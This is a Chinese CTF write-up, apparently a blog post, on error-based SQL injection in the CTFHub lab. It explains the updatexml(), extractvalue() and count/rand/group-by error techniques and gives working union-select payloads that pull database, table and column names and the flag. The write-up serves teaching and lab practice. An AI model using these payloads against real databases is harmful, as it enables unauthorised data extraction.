CTFHUB报错注入的几种不同方式

CFTHUB 报错注入

一、报错注入原理

1.xml函数updatexml()

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
该函数对XPath_string进行查询操作,如果符合语法格式要求,则用第三个参数替换,不符合语法格式
要求,则会报错并带出查询的结果

在这里插入图片描述

可以看到updatexml函数对于“”不能识别,“”的ASCII码对应的是0x7e。

2.xml函数之Extractvalue()

EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
作用:从目标XML中返回包含所查询值的字符串;
与updatexml()函数相似,该函数对XPath_string进行查询操作,如果符合语法格式要求,则从目标XML中返回包含所查询值的字符串,
不符合语法格式要求,则会报错并带出查询的结果。

在这里插入图片描述

同样的extractvalue函数对于“~”也是不能识别的。

3.count(),rand(),goup by

​ 这里关于rand()函数以及与count()联用的报错机制比较复杂,太多了懒得写在此引用别人的作为解释。原理

二、报错注入

1.使用updatexml进行报错注入

1.查询数据库名称
1 union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)

在这里插入图片描述

2.联合查询爆表名
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

在这里插入图片描述

3.联合查询爆字段
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e),1)

在这里插入图片描述

4.获取flag
1 union select 1,updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)

在这里插入图片描述

可以发现由于flag过长没有完全显示出来。然后选择查询右边的31位进行比对就可以获取全部flag了。

1 union select 1,updatexml(1,concat(0x7e,right((select flag from sqli.flag),31),0x7e),1)

在这里插入图片描述

2.使用extractvalue进行报错注入

1.查询数据库名称
1 union select extractvalue(1,concat(0x7e,(select database()),0x7e))

在这里插入图片描述

2.联合查询爆表名
1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))

在这里插入图片描述

3.联合查询爆字段
1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e))

在这里插入图片描述

4.获取flag

有了上面使用updatexml经验直接进行左右查询

1 union select 1,extractvalue(1,concat(0x7e,left((select flag from sqli.flag),31),0x7e))
1 union select 1,extractvalue(1,concat(0x7e,right((select flag from sqli.flag),31),0x7e))

在这里插入图片描述

在这里插入图片描述

3.使用(count()、rand()、group by)联合报错注入

1.查询数据库名称
1 union select count(*),concat(database(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x

在这里插入图片描述

也可以这么写

1 union select count(*),id from news group by concat((select database()),0x7e,floor(rand(0)*2))
2.联合查询爆表名
1 union select count(*),id from news group by concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x7e,floor(rand(0)*2))
1 union select count(*),id from news group by concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),0x7e,floor(rand(0)*2))

在这里插入图片描述在这里插入图片描述

3.联合查询爆字段
1 union select count(*),id from news group by concat((select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' ),0x7e,floor(rand(0)*2))

在这里插入图片描述

4.获取flag
1 union select count(*),id from news group by concat((select flag from sqli.flag),0x7e,floor(rand(0)*2))

在这里插入图片描述

这里就不会出现前面flag获取不全的情况了。

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值